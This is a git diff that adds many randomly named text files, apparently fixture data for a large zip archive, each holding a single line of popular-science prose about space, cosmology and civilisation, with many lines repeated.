diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_kzuyunqjugqm.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_kzuyunqjugqm.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_kzuyunqjugqm.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_llvycaqhfpuppounyk.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_llvycaqhfpuppounyk.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_llvycaqhfpuppounyk.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_mimicgwgtpsqliflijjsugfn.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_mimicgwgtpsqliflijjsugfn.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_mimicgwgtpsqliflijjsugfn.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_mkoavmlrdzxqgfrpgpr.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_mkoavmlrdzxqgfrpgpr.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_mkoavmlrdzxqgfrpgpr.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_niwkfuvnqpjzehblparedaa.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_niwkfuvnqpjzehblparedaa.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_niwkfuvnqpjzehblparedaa.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_nrugqbxlst.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_nrugqbxlst.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_nrugqbxlst.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_rcwkawolnxobawdx.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_rcwkawolnxobawdx.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_rcwkawolnxobawdx.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_rnjmuqjovlppqoatxtrbxf.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_rnjmuqjovlppqoatxtrbxf.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_rnjmuqjovlppqoatxtrbxf.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_sslohdmfnerkaoqkmsr.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_sslohdmfnerkaoqkmsr.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_sslohdmfnerkaoqkmsr.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_uextvbzghzzcbf.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_uextvbzghzzcbf.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_uextvbzghzzcbf.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_wdxbwbiw.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_wdxbwbiw.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_wdxbwbiw.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_wphplsukvc.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_wphplsukvc.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_wphplsukvc.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_wxrgxgomgkxnhgprwgvq.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_wxrgxgomgkxnhgprwgvq.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_wxrgxgomgkxnhgprwgvq.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_yiablyhhbuzyjqk.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_yiablyhhbuzyjqk.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_yiablyhhbuzyjqk.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/frynburhl.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/frynburhl.txt
new file mode 100644
index 0000000..b25fd34
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/frynburhl.txt
@@ -0,0 +1 @@
+neutrinos pass through my eyeball. Of course, they are not stopped at the retina as ordinary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/hawbhxytxcilcitapy.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/hawbhxytxcilcitapy.txt
new file mode 100644
index 0000000..0021dff
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/hawbhxytxcilcitapy.txt
@@ -0,0 +1 @@
+of dreams!
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/hfwnvchvtiqsamnmzcd.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/hfwnvchvtiqsamnmzcd.txt
new file mode 100644
index 0000000..7b55c09
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/hfwnvchvtiqsamnmzcd.txt
@@ -0,0 +1 @@
+small. The Sphinx is missing a nose. Someone shot it off in a moment of idle desecration -
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/jnbdtmimrr.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/jnbdtmimrr.txt
new file mode 100644
index 0000000..c8a2338
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/jnbdtmimrr.txt
@@ -0,0 +1 @@
+years away, it would have no reason to think there was something special about the Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/kgvlidaeerbalmxvfpoultke.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/kgvlidaeerbalmxvfpoultke.txt
new file mode 100644
index 0000000..30e77bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/kgvlidaeerbalmxvfpoultke.txt
@@ -0,0 +1 @@
+jewel box in the sky. But why should we be rushing toward it? George Smoot and his
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/lyejgrdwazi.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/lyejgrdwazi.txt
new file mode 100644
index 0000000..91ec825
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/lyejgrdwazi.txt
@@ -0,0 +1 @@
+Intelligent life on Earth first reveals itself through the geometric regularity of its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/mdsuarksoogakryvy.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/mdsuarksoogakryvy.txt
new file mode 100644
index 0000000..b8e4149
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/mdsuarksoogakryvy.txt
@@ -0,0 +1 @@
+kind of molecules that make us up, but other organic molecules, paraffin waxes, for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/oqhcfbsypzfoxzycrp.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/oqhcfbsypzfoxzycrp.txt
new file mode 100644
index 0000000..ecf3227
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/oqhcfbsypzfoxzycrp.txt
@@ -0,0 +1 @@
+themselves out in an instant of unforgivable neglect.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/rgkkogcfdxl.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/rgkkogcfdxl.txt
new file mode 100644
index 0000000..d5c70c8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/rgkkogcfdxl.txt
@@ -0,0 +1 @@
+The obvious is sometimes false; the unexpected is sometimes true. Humans everywhere
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/rpabavjqgqykydzazvpbt.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/rpabavjqgqykydzazvpbt.txt
new file mode 100644
index 0000000..fd87f4e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/rpabavjqgqykydzazvpbt.txt
@@ -0,0 +1 @@
+* This sense of fire as a living thing, to be protected and cared for, should not be dismissed as a‘primitive’ notion. It is to be found near the root of many modern civilizations. Every home in ancient Greece
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/sjskhbbyegomxmzcrfkr.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/sjskhbbyegomxmzcrfkr.txt
new file mode 100644
index 0000000..c6fa846
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/sjskhbbyegomxmzcrfkr.txt
@@ -0,0 +1 @@
+effects of a one-megaton nuclear burst, including the mushroom cloud, with two
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/tbhicqnxges.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/tbhicqnxges.txt
new file mode 100644
index 0000000..ec09775
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/tbhicqnxges.txt
@@ -0,0 +1 @@
+and sends him aloft, fluttering and spinning into that mysterious third dimension. At first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/uhdibiwafacfwq.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/uhdibiwafacfwq.txt
new file mode 100644
index 0000000..fd7c1c7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/uhdibiwafacfwq.txt
@@ -0,0 +1 @@
+- H. G. Wells, ‘The Discovery of the Future,’ Nature 65, 326 (1902)
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/xphlrcdnjolppeyxfajcy.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/xphlrcdnjolppeyxfajcy.txt
new file mode 100644
index 0000000..13865d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/xphlrcdnjolppeyxfajcy.txt
@@ -0,0 +1 @@
+For voyages beyond the nearest stars, something else must be done. Perhaps Orion
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/yceyhdkohwsjchib.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/yceyhdkohwsjchib.txt
new file mode 100644
index 0000000..d9dc1c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/yceyhdkohwsjchib.txt
@@ -0,0 +1 @@
+Spacecraft missions to nearby Planets
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_aeocvgbddm.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_aeocvgbddm.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_aeocvgbddm.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_bvzhhwwgdoazlxlpsx.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_bvzhhwwgdoazlxlpsx.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_bvzhhwwgdoazlxlpsx.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_hvkdqnuccsxxer.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_hvkdqnuccsxxer.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_hvkdqnuccsxxer.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_jjlmyxqxjhmlafesukkwpe.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_jjlmyxqxjhmlafesukkwpe.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_jjlmyxqxjhmlafesukkwpe.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_kwldxtoixwrjlg.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_kwldxtoixwrjlg.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_kwldxtoixwrjlg.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_ltykgyyjbcs.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_ltykgyyjbcs.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_ltykgyyjbcs.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_mkgzwqfcjqgzglafiy.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_mkgzwqfcjqgzglafiy.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_mkgzwqfcjqgzglafiy.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_mrweorycymntyqxg.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_mrweorycymntyqxg.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_mrweorycymntyqxg.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_nsogrqghablonwm.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_nsogrqghablonwm.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_nsogrqghablonwm.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_pstdbedantzklymbr.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_pstdbedantzklymbr.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_pstdbedantzklymbr.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_tbzcbpezzbfi.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_tbzcbpezzbfi.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_tbzcbpezzbfi.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_ujozuvfmmb.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_ujozuvfmmb.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_ujozuvfmmb.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_xrliemdtgbslvuw.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_xrliemdtgbslvuw.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_xrliemdtgbslvuw.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_ybvlwpphcwhbsshqnftmwnbn.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_ybvlwpphcwhbsshqnftmwnbn.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_ybvlwpphcwhbsshqnftmwnbn.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/file_ycmarmmpvebltlilkigmv.txt b/big_zip/big-zip-files/folder_jrcpayixfu/file_ycmarmmpvebltlilkigmv.txt
new file mode 100644
index 0000000..1942035
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/file_ycmarmmpvebltlilkigmv.txt
@@ -0,0 +1 @@
+systems; others think that, even given ten or fifteen billion years, the evolution of technical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/bqkaelsdgzectyeoqdellydb.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/bqkaelsdgzectyeoqdellydb.txt
new file mode 100644
index 0000000..1761ef2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/bqkaelsdgzectyeoqdellydb.txt
@@ -0,0 +1 @@
+- an enormous spiral form comprising 400 billion stellar inhabitants, with collapsing gas
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_bepuqumlyso.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_bepuqumlyso.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_bepuqumlyso.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_crreebmynwstzsaxb.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_crreebmynwstzsaxb.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_crreebmynwstzsaxb.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_dmaljollnpzbjvhjlplk.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_dmaljollnpzbjvhjlplk.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_dmaljollnpzbjvhjlplk.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_dsjedvtepc.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_dsjedvtepc.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_dsjedvtepc.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ktjodiufmhrwun.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ktjodiufmhrwun.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ktjodiufmhrwun.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_lwhftkegngtlwrr.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_lwhftkegngtlwrr.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_lwhftkegngtlwrr.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ovfhmkkx.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ovfhmkkx.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ovfhmkkx.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_qsccyzqfmeumtidrpy.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_qsccyzqfmeumtidrpy.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_qsccyzqfmeumtidrpy.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rajddjpxiuthk.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rajddjpxiuthk.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rajddjpxiuthk.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rcvryvkyvi.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rcvryvkyvi.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rcvryvkyvi.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rlnzrzjwskymkcbhzqqfav.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rlnzrzjwskymkcbhzqqfav.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rlnzrzjwskymkcbhzqqfav.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rrvpwpevizefjgrlje.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rrvpwpevizefjgrlje.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_rrvpwpevizefjgrlje.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ufackwcmy.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ufackwcmy.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ufackwcmy.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ugrhbvvqxcvlwuwhpnda.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ugrhbvvqxcvlwuwhpnda.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_ugrhbvvqxcvlwuwhpnda.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_upxfvtrkummocunadw.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_upxfvtrkummocunadw.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_upxfvtrkummocunadw.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_urpbpckbsjuixle.txt b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_urpbpckbsjuixle.txt
new file mode 100644
index 0000000..0ad614f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_jrcpayixfu/folder_igbirmvfgj/file_urpbpckbsjuixle.txt
@@ -0,0 +1 @@
+present spaceships, with their robot crews, are the harbingers, the vanguards of future
\ No newline at end of file
